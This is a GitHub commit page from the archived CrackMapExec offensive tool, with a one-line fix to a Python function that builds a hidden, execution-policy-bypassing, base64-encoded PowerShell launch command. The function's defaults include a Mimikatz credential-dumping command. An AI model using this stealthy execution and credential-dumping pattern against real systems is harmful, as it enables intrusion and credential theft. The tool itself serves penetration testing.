Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit e25ccc6

Browse files
author
byt3bl33d3r
committed
Added missing backslash
1 parent f216354 commit e25ccc6

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

crackmapexec.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2659,7 +2659,7 @@ def ps_command(command=None, katz_ip=None, katz_command='privilege::debug sekurl
26592659
""".format(addr=katz_ip, katz_command=katz_command)
26602660

26612661
if args.force_ps32:
2662-
command = 'IEX "$Env:windir\\SysWOW64\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
2662+
command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
26632663

26642664
base64_command = b64encode(command.encode('UTF-16LE'))
26652665

0 commit comments

Comments
 (0)